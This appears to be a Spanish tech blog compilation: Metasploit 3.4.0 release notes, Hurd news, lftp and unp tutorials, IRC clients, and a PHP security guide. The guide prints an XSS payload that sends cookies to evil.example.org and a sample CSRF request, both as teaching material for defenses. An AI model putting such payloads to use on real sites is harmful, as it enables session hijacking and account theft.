Fuente www.tinkernut.com

Después de cinco meses de desarrollo, la versión 3.4.0 del Metasploit Framework se ha liberado. Desde la versión 3.3 de Metasploit se añadieron más de 100 exploits nuevos y se han corregido más de 200 errores, Metasploit ahora tiene 551 exploit y 261 módulos auxiliares.

• Enormes mejoras en los payloads de Meterpreter; tanto en términos de estabilidad y características.
• Los Payloads de Meterpreter ahora puede realizar capturas de pantalla sin tener que migrar.
• Tiene capacidad de migrar procesos de 32-bits y 64-bits a  un sistema operativo comprometido Windows de 64-bits.
• Un nuevo comando, “getsystem“, utiliza varias técnicas para obtener acceso al sistema desde una sesión con pocos privilegios o de administrador.
• Esta es la primera versión de Metasploit en tener un fuerte avance en fuerza bruta de protocolos de red y acceder con credenciales crakeadas. Esta versión incluye fuerza bruta a través de SSH, Telnet, MySQL, Postgres, SMB, DB2, y más…

Full Metasploit 3.4.0 Release Notes

Descargar Metasploit 3.4.0:

• Windows
• Linux

Web oficial: http://www.metasploit.com/

fuente : http://blackploit.blogspot.com/

Que es unp ?
Desempaquete (casi) todo con una sola orden
unp es un pequeño script en perl que hace un poco más fácil la extracción
de ficheros de un archivador. Puede usar varios programas de compresión y
archivado, elige el(los) correcto(s) automáticamente y extrae uno o más
ficheros de una sola vez

Como lo instalamos ?

aptitude install unp

Como lo usamos ?

unp archivo.tar.gx

unp archivo.bz2

En este mes de abril podemos leer que el proyecto Hurd ya esta empezando a tener mucho movimiento en la parte de desarrollo. lo que viene ayudando mucho es la alta actividad de los desarrolladores de ArchHurd, que con unos pocos meses de trabajo ya tiene gran parte del sistema funcionando.

Debian es de los que desde hace tiempo esta desarrollado este kernel hurd:

Actualmente, Debian sólo está disponible para Linux, pero con Debian GNU/Hurd también hemos empezado a ofrecer el GNU/Hurd como plataforma para desarrollo y servidores, así como para sistema de escritorio. No obstante, Debian GNU/Hurd todavía no ha sido distribuido oficialmente, y no lo será durante algún tiempo.

Por ahora un 66% de los paquetes de Debian estan disponibles en el port de Hurd, entre otros cambios como:

• Se corrigió un bug en libxcl, por lo que X.org funciona “out of the box“.
• Se creó un USB de GRUB para bootear Debian GNU/Hurd.

Otro proyecto es ArchHurd, que es un trabaja derivado de ArchLinux, lleva muchos cambios y mucho desarrollo en la cuestión de paquetes de la arquitectura i686, podemos ver el trabajo que lleva esta distribución gracias a la lista de correo:

Hemos pasado varios hitos importantes. Primero, logramos compilar cruzado un sistema booteable i686-pc-gnu. (…) ahora tenemos un toolchain actualizado y funcionando (gcc-4.4.3, glibc-2.11.1, binutils-2.20.1). Tenemos un gestor de paquetes funcionando (pacman) y la mayor parte de un sistema de desarrollo mínimo compilado (ver http://www.archhurd.org/packages.php para una lista de paquetes).

También se anunciaron otras noticias interesantes días después:

• Se portaron los initscripts de ArchLinux a ArchHurd. Se puede ver a Hurd bootear con la apariencia de booteo familiar.
• Una actualización al sistema permite particiones ext2 mayores a 2GB.
• Con los initscripts vino el modo multi-usuario por defecto. Esto permite algunas sutilezas como consola VGA, similar a las consolas virtuales en Linux. Al haberse agregado shadow, los usuarios pueden tener contraseñas y se hizo más simple agregar más usuarios.
• Hay más de 100 paquetes disponibles para ArchHurd (con solo 3 desarrolladores).
• Hay una Wiki, una guía de instalación y una página para colaborar con el proyecto.

ArchHurd ya fue ejecutado por Alexander Preisinger en una laptop, esta es la primera vez que se ve Hurd en hardware real:

Otro gran punto es que en el Google Summer of Code 2010 se aceptaron tres proyectos de Hurd:

• Producir imágenes funcionales del instalador de Debian para Debian GNU/Hurd.
• Corregir problemas de compatibilidad expuestos por los casos de prueba de los proyectos. (Detalles)
• Afinar el subsistema de VM en GNU/Hurd para actualizar la gestión de memoria virtual en Hurd/Mach a algo más cercano a kernels modernos.

Un gran avance para este genial núcleo 100% libre, que esperemos se siga desarrollando y esperemos que mas gente como nosotros podamos apoyar a este proyecto.

Visto en Picando Codigo

Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:

• Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como ” ‘ ” o ” = ” . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
• Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ‘, ” y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)

• Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
• Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
• Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.


<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie</script>


• Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
• Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
• Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
• Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.


GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Se recomienda:

• Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.

• Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.

• Generar un token único para cada petición y verificarlo posteriormente.

Directory Traversal

Este ataque se produce cuando se especifican rutas de ficheros como “../../../../file” en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.

El protocolo IRC tiene especial relevancia en el mundo Linux: un montón de eventos y reuniones se celebran de forma virtual, y esta tecnología facilita la participación y la puesta en marcha de esos encuentros. Los clientes para poder conectarse a estas conferencias son multitud, aunque hay algunos destacados.

Y destacar clientes IRC es precisamente lo que han hecho en Linux.com, donde han analizado las ventajas y desventajas de 5 grandes clientes de IRC que permiten a los usuarios conectarse a estos servicios. Los protagonistas son los siguientes:

Pidgin

Aunque puede que algunos no lo supiérais, Pidgin no solo es un cliente de mensajería instantánea, ya que también permite actuar como cliente IRC. Eso supone que los usuarios de este popular desarrollo pueden no solo mantener el contacto con sus amigos y conocidos en diversas redes de IM, sino también poder entrar en salas IRC para debatir sobre todo tipo de temas.

Konversation

Este cliente específico de IRC para KDE dispone de la típica interfaz divida en pestañas para cada sala, y es posible configurar avisos -incluidas las notificaciones On Screen Display (OSD) para alertarnos cuando la ventana de IRC no está en primer plano- y además nos permite crear marcadores con nuestros canales o salas favoritas, y otra serie de ayudas para hacer que las sesiones en IRC sean lo más provechosas posible.

XChat

Probablemente uno de los más veteranos, pero no por ello descuidado. Xchat es un cliente de IRC con una interfaz muy bien resuelta que además se beneficia de otra característica muy interesante: los scripts y plugins, que hacen que la funcionalidad inicial sea solo un pequeño aperitivo de lo que podemos conseguir con esos complementos. Por ejemplo, scripts que añaden un feed RSS a la conversación, u otros que permiten jugar al ajedrez a través de IRC o controlar el reproductor MP3.

ChatZilla

Si sois usuarios de Firefox y preferís mantener el máximo de funciones integradas en el navegador, podéis disfrutar de este plugin para el navegador de Mozilla que os permitirá conectaros a IRC directamente desde el navegador.  Como indican en el artículo original, el estar integrado en el navegador no le resta interés a ChatZilla, ya que se trata de un cliente con todo lo necesario para disfrutar de esa experiencia en IRC, e incluso existen plugins adicionales para ChatZilla, aunque en este apartado no se llega a la cantidad o calidad de XChat o Irssi, nuestro próximo protagonista.

Irssi

Los más veteranos y aquellos que trabajen con la consola de comandos seguro que conocerán Irssi, un cliente basado en la interfaz de línea de comandos. En Linux.com indican que es especialmente interesante utilizar Irssi con la utilidad GNU Screen para lograr un tándem estupendo -tutorial completo aquí- a la hora de conectarnos a sesiones IRC desde la terminal o desde un sistema en modo intérprete de comandos. Además Irssi también dispone de un amplio catálogo de plugins, scripts y complementos que ayudan a sacarle todo el partido.

Fuente : muylinux.com

* Corregido un problema de seguridad crítico que potencialmente permitía la ejecución remota de código (ver bug 552216).
* Se han corregido varios problemas de seguridad adicionales.
* Corregidos varios problemas de estabilidad.

http://www.mozilla.com/es-AR/

Lo primero es descargar window_controls.py y darle permisos para ejecutarse:

chmod +x window_controls.py

o con click derecho Propiedades > Permisos y seleccionamos Permitir ejecutar el archivo como un programa

ahora ejecutamos en la terminal:

./window_controls.py

o damos doble click sobre el archivo y listo podremos seleccionar donde queremos los botones de las ventanas:

Visto en Actualidad GNU/Linux

lftp es una aplicación manejada desde la terminal y destinada a realizar transferencias mediante protocolos ftp, http, fish, sftp, ftps y https. Permite realizar operaciones combinadas, siendo sencillo transferir, borrar, realizar backups incrementales, etc. Todo ello, mediante unas simples órdenes en la terminal que, incluso, podrán ser guardadas en un .txt para no necesitar escribirlas de nuevo; y con independencia del SO instalado en el servidor. A continuación, encontraréis un breve tutorial de iniciación a esta aplicación.

lftp se encuentra en los repositorios de numerosas distribuciones. Si no es vuestro caso, podéis descargarlo desde su web oficial.

Empecemos… La orden básica de conexión es:

lftp ip.del.servidor.ftp

Si, como es habitual, el servidor ftp está protegido mediante usuario y contraseña, deberemos ejecutar la orden básica:

lftp -u usuario,contraseña ip.del.servidor.ftp

Con esto, ya estaremos en nuestro servidor ftp. Podremos listar los contenidos de la raíz del server con la orden habitual:

ls

Para movernos entre los diferentes directorios utilizaremos el comando “cd”, tal como hacemos en la terminal de GNU/Linux.

cd directorio

• Realizando copias:

Como decíamos antes, lftp puede combinar numerosas variables que lo dotan de versatilidad, algo que no ahorrará mucho tiempo. Por ejemplo, para realizar una copia exacta de un directorio del servidor a un directorio local, ejecutaremos lo siguiente:

lftp -u usuario,contraseña -e “mirror –delete –only-newer –verbose /directorio-servidor /directorio-local” ip.del.servidor.ftp

¿Qué hemos hecho con esto?

Hemos realizado el login en el servidor con la variable “-u”. Las comillas (“) incluyen una combinación de variables. En este ejemplo son las siguientes:

1) mirror: para realizar una copia exacta del directorio (“mirroring”) y su contenido.

2) delete: para que, en el directorio local, borre los archivos que ya no existen en el servidor remoto.

3) only newer: Si el archivo “X-local” de nuestra copia local es diferente del archivo “X-servidor” del servidor remoto, el archivo “X-local” será sustituido. Se descarga del servidor el archivo que es más nuevo.

4) verbose: para observar el proceso de copia.

Si deseamos realizar esa misma copia a una hora determinada, utilizaremos la variable “at”:

lftp at 00:00 -u usuario,contraseña -e “mirror –delete –only-newer –verbose /directorio-servidor /directorio-local” ip.del.servidor.ftp

Para salir del servidor (logout):

exit

• Extras:

En Linux Zone ya os hemos hablado de lo útil que puede ser cron (clic para acceder) para programar la ejecución de tareas cuando nosotros determinemos. De este modo, no necesitaremos realizar “a mano” las copias con lftp, por ejemplo. Puede resultar también interesante la lectura del tutorial “cómo crear tu propio NAS” (clic para acceder).

Si no deseamos escribir toda la orden cada vez que deseemos realizar la copia, tan sólo tenemos que crear un archivo de texto “.txt” que contenga la orden completa y, situados en el directorio donde está ese archivo .txt, ejecutar lo siguiente:

lftp -f archivo_de_texto.txt

Listo. veréis cómo empieza a realizar la copia.

Recomendación: si sois noveles en estas tareas, os recomiendo realizar unas pruebas previas para evitar sustos. Por ejemplo, podéis crear un directorio en el servidor con algún archivo de texto para realizar las primeras pruebas en/con ese directorio.

Homesite: lftp.yar.ru.

Fuente : www.linuxzone.es

La pueden descargar:

Descargar OS 5.0.0.464 Bold 9000: http://bit.ly/ccCuYB

Descargar OS 5.0.0.464 Bold 9000: Deposit Files

Descargar OS 4.0.0.464 Bold 9000 (MegaUpload) :MEGAUPLOAD – The leading online storage and file delivery service

**Es una versión BETA, así que tomen las previsiones del caso antes de instalarla.. un respaldo es su mejor amigo**

Fuente : http://zonablackberry.com.ve